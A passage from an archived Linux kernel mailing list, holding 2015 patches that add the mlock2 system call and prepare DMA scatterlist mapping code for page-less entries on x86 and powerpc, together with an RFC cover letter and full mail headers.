	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZOJ4d-00056R-1X
	for glkm-linux-mm-2@m.gmane.org; Sun, 09 Aug 2015 07:23:07 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A9ED86B0253; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id A28699003C8; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8FA036B0255; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f171.google.com (mail-qk0-f171.google.com [209.85.220.171])
	by kanga.kvack.org (Postfix) with ESMTP id 62A5B6B0253
	for <linux-mm@kvack.org>; Sun,  9 Aug 2015 01:23:01 -0400 (EDT)
Original-Received: by qkdg63 with SMTP id g63so49324535qkd.0
        for <linux-mm@kvack.org>; Sat, 08 Aug 2015 22:23:01 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=pgbWfpxO/uslwElNMEnkVLFeNk8CvLJkdz5GsFlLwhc=;
        b=WiE4IE1IPF6yitlb4tfrihnvlirK8QU5stRMvy8UGDvNq2am6CBMcj62UjbVgPQFlh
         gV7vbZGJpmLfTCit9yhnUANnCqkyBNElLYwLCO2kwlVBugRlPkspKngh7Qdki4OCBDE9
         5Wtd4ln+fr8HP4HL9va1OFWotXlRMiJM5uVa59DMnK/90cOblt6islrAxx2KXoA7cfkt
         mdePbhWr1Z/X8StUaEaG2KByvPm4HsiKolcj51dlIKIGJOtHjl30CdGY7tf/VIAjIggH
         FXOUqMbgNKSeefAClkCsSQcm71nWMrW2jRgM6rqTgvZG3WAl4c2YuFYJmtirjOumKnZ4
         TzVQ==
X-Gm-Message-State: ALoCoQmBsKv2rbzt6OyFNW0C8QNRpHA2oQy0CSDqKvpAfMAMGyPrQCVNeyHwn/sLBEABjUntQDEnFjqn1tpzUX0/JzS7lwPRVUKt9AdKT0eUhnqONwLpBPyQUZXdKq/eJcoBEdMeFgmfqsiWtrNsdzMQiOrEuDVukfTKOuzetqV27noW4Ke2jusG7xfV5hGwB6YSF0cUjBgX
X-Received: by 10.55.20.214 with SMTP id 83mr27327764qku.92.1439097781205;
        Sat, 08 Aug 2015 22:23:01 -0700 (PDT)
X-Received: by 10.55.20.214 with SMTP id 83mr27327694qku.92.1439097779922;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id 34si27454156qkx.48.2015.08.08.22.22.59
        for <linux-mm@kvack.org>;
        Sat, 08 Aug 2015 22:22:59 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 367934334D6;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 1DC56433589;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1439097779; bh=pNMAXeaZeoCwyTgON0zTwcMEei9Z8C0j2Ld4eK2W9f8=;
	l=4363; h=From:To:Cc:Date:In-Reply-To:References:From;
	b=wJ281DuH1T36KCGPM8PRnbg6PxKSCtRkVkzgl4Gsh8CU8RUgZL0GjgPmAnUYIY2Nl
	 Nz4HimQXdVbC1BhkKKY9DE3jatEl7GDMW2hQbYIR3OHlFtV5kSDFJcVPW1Q3Cfntr9
	 gzRGRncJPdapU9GUDrVNafRBZZMASqiznhQ96jcU=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.174])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 12B43800BE;
	Sun,  9 Aug 2015 05:22:59 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439097776-27695-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136899 gmane.linux.ports.alpha:3271 gmane.linux.kernel:2016251 gmane.linux.ports.arm.kernel:432945 gmane.linux.ports.ia64:25670 gmane.linux.ports.parisc:25898 gmane.linux.ports.ppc64.devel:116576 gmane.linux.ports.sh.devel:47800 gmane.linux.ports.sparc:21371 gmane.linux.kernel.api:13488 gmane.linux.kernel.cross-arch:28817
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136899>

With the refactored mlock code, introduce a new system call for mlock.
The new call will allow the user to specify what lock states are being
added.  mlock2 is trivial at the moment, but a follow on patch will add
a new mlock state making it useful.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: Andrea Arcangeli <aarcange@redhat.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/x86/entry/syscalls/syscall_32.tbl | 1 +
 arch/x86/entry/syscalls/syscall_64.tbl | 1 +
 include/linux/syscalls.h               | 2 ++
 include/uapi/asm-generic/unistd.h      | 4 +++-
 kernel/sys_ni.c                        | 1 +
 mm/mlock.c                             | 8 ++++++++
 6 files changed, 16 insertions(+), 1 deletion(-)

diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..8e06da6 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,4 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+360	i386	mlock2			sys_mlock2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..67601e7 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,7 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+324	common	mlock2			sys_mlock2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..56a3d59 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..14a6013 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 283
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..4818b71 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,7 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 5692ee5..3094f27 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -643,6 +643,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (flags)
+		return -EINVAL;
+
+	return do_mlock(start, len, VM_LOCKED);
+}
+
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
 	int ret;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 04/31] x86/pci-nommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:23 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1439363150-8661-5-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363357 25660 80.91.229.3 (12 Aug 2015 07:09:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:17 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 12 09:09:09 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPQ9s-0005NS-J6
	for glpp-linux-parisc@plane.gmane.org; Wed, 12 Aug 2015 09:09:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964874AbbHLHJE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:04 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:52909 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934042AbbHLHIz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Aug 2015 03:08:55 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQ9Z-0001Tp-LW; Wed, 12 Aug 2015 07:08:50 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25899 gmane.linux.kernel:2018366 gmane.linux.kernel.cross-arch:28832 gmane.linux.ports.alpha:3273 gmane.linux.ports.ia64:25672 gmane.linux.kernel.metag:583 gmane.linux.ports.mips.general:49927 gmane.linux.ports.ppc64.devel:116724 gmane.linux.ports.sparc:21378 gmane.linux.drivers.video-input-infrastructure:93922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25899>

Just remove a BUG_ON, the code handles them just fine as-is.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/kernel/pci-nommu.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index da15918..a218059 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -63,7 +63,6 @@ static int nommu_map_sg(struct device *hwdev, struct scatterlist *sg,
 	WARN_ON(nents == 0 || sg[0].length == 0);
 
 	for_each_sg(sg, s, nents, i) {
-		BUG_ON(!sg_page(s));
 		s->dma_address = sg_phys(s);
 		if (!check_addr("map_sg", hwdev, s->dma_address, s->length))
 			return 0;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: RFC: prepare for struct scatterlist entries without page backing
Date: Wed, 12 Aug 2015 09:05:19 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363361 25696 80.91.229.3 (12 Aug 2015 07:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:21 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-media-owner@vger.kernel.org Wed Aug 12 09:09:09 2015
Return-path: <linux-media-owner@vger.kernel.org>
Envelope-to: gldv-linux-media@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-media-owner@vger.kernel.org>)
	id 1ZPQ9t-0005NS-7e
	for gldv-linux-media@plane.gmane.org; Wed, 12 Aug 2015 09:09:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964847AbbHLHJA (ORCPT <rfc822;gldv-linux-media@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:00 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:52911 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934045AbbHLHIz (ORCPT
	<rfc822;linux-media@vger.kernel.org>);
	Wed, 12 Aug 2015 03:08:55 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQ9O-0001R2-4J; Wed, 12 Aug 2015 07:08:38 +0000
X-Mailer: git-send-email 1.9.1
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-media-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-media.vger.kernel.org>
X-Mailing-List: linux-media@vger.kernel.org
Xref: news.gmane.org gmane.linux.drivers.video-input-infrastructure:93923 gmane.linux.kernel:2018368 gmane.linux.kernel.cross-arch:28833 gmane.linux.ports.alpha:3274 gmane.linux.ports.ia64:25673 gmane.linux.kernel.metag:584 gmane.linux.ports.mips.general:49928 gmane.linux.ports.parisc:25900 gmane.linux.ports.ppc64.devel:116725 gmane.linux.ports.sparc:21379
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.video-input-infrastructure/93923>

Dan Williams started to look into addressing I/O to and from
Persistent Memory in his series from June:

	http://thread.gmane.org/gmane.linux.kernel.cross-arch/27944

I've started looking into DMA mapping of these SGLs specifically instead
of the map_pfn method in there.  In addition to supporting NVDIMM backed
I/O I also suspect this would be highly useful for media drivers that
go through nasty hoops to be able to DMA from/to their ioremapped regions,
with vb2_dc_get_userptr in drivers/media/v4l2-core/videobuf2-dma-contig.c
being a prime example for the unsafe hacks currently used.

It turns out most DMA mapping implementation can handle SGLs without
page structures with some fairly simple mechanical work.  Most of it
is just about consistently using sg_phys.  For implementations that
need to flush caches we need a new helper that skips these cache
flushes if a entry doesn't have a kernel virtual address.

However the ccio (parisc) and sba_iommu (parisc & ia64) IOMMUs seem
to be operate mostly on virtual addresses.  It's a fairly odd concept
that I don't fully grasp, so I'll need some help with those if we want
to bring this forward.

Additional this series skips ARM entirely for now.  The reason is
that most arm implementations of the .map_sg operation just iterate
over all entries and call ->map_page for it, which means we'd need
to convert those to a ->map_pfn similar to Dan's previous approach.


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 10/31] powerpc/iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:29 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <1439363150-8661-11-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363370 25768 80.91.229.3 (12 Aug 2015 07:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:30 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 12 09:09:27 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZPQAA-0005bE-C8
	for lnx-sparclinux@plane.gmane.org; Wed, 12 Aug 2015 09:09:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965057AbbHLHJR (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:17 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53054 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965007AbbHLHJN (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 12 Aug 2015 03:09:13 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQ9r-0001bG-4R; Wed, 12 Aug 2015 07:09:07 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21380 gmane.linux.kernel:2018369 gmane.linux.kernel.cross-arch:28834 gmane.linux.ports.alpha:3275 gmane.linux.ports.ia64:25674 gmane.linux.kernel.metag:585 gmane.linux.ports.mips.general:49929 gmane.linux.ports.parisc:25901 gmane.linux.ports.ppc64.devel:116726 gmane.linux.drivers.video-input-infrastructure:93924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21380>

For the iommu offset we just need and offset into the page.  Calculate
that using the physical address instead of using the virtual address
so that we don't require a virtual mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/powerpc/kernel/iommu.c | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/powerpc/kernel/iommu.c b/arch/powerpc/kernel/iommu.c
index a8e3490..0f52e40 100644
--- a/arch/powerpc/kernel/iommu.c
+++ b/arch/powerpc/kernel/iommu.c
@@ -457,7 +457,7 @@ int ppc_iommu_map_sg(struct device *dev, struct iommu_table *tbl,
 
 	max_seg_size = dma_get_max_seg_size(dev);
 	for_each_sg(sglist, s, nelems, i) {
-		unsigned long vaddr, npages, entry, slen;
+		unsigned long paddr, npages, entry, slen;
 
 		slen = s->length;
 		/* Sanity check */
@@ -466,22 +466,22 @@ int ppc_iommu_map_sg(struct device *dev, struct iommu_table *tbl,
 			continue;
 		}
 		/* Allocate iommu entries for that segment */
-		vaddr = (unsigned long) sg_virt(s);
-		npages = iommu_num_pages(vaddr, slen, IOMMU_PAGE_SIZE(tbl));
+		paddr = sg_phys(s);
+		npages = iommu_num_pages(paddr, slen, IOMMU_PAGE_SIZE(tbl));
 		align = 0;
 		if (tbl->it_page_shift < PAGE_SHIFT && slen >= PAGE_SIZE &&
-		    (vaddr & ~PAGE_MASK) == 0)
+		    (paddr & ~PAGE_MASK) == 0)
 			align = PAGE_SHIFT - tbl->it_page_shift;
 		entry = iommu_range_alloc(dev, tbl, npages, &handle,
 					  mask >> tbl->it_page_shift, align);
 
-		DBG("  - vaddr: %lx, size: %lx\n", vaddr, slen);
+		DBG("  - paddr: %lx, size: %lx\n", paddr, slen);
 
 		/* Handle failure */
 		if (unlikely(entry == DMA_ERROR_CODE)) {
 			if (printk_ratelimit())
 				dev_info(dev, "iommu_alloc failed, tbl %p "
-					 "vaddr %lx npages %lu\n", tbl, vaddr,
+					 "paddr %lx npages %lu\n", tbl, paddr,
 					 npages);
 			goto failure;
 		}
@@ -496,7 +496,7 @@ int ppc_iommu_map_sg(struct device *dev, struct iommu_table *tbl,
 
 		/* Insert into HW table */
 		build_fail = tbl->it_ops->set(tbl, entry, npages,
-					      vaddr & IOMMU_PAGE_MASK(tbl),
+					      paddr & IOMMU_PAGE_MASK(tbl),
 					      direction, attrs);
 		if(unlikely(build_fail))
 			goto failure;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 01/31] scatterlist: add sg_pfn and sg_has_page helpers
Date: Wed, 12 Aug 2015 09:05:20 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <1439363150-8661-2-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363372 25791 80.91.229.3 (12 Aug 2015 07:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:32 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:09:20 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQA3-0005Wa-IW
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:09:19 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36410 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011221AbbHLHJQojVMj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:09:16 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:08:58 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34767 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
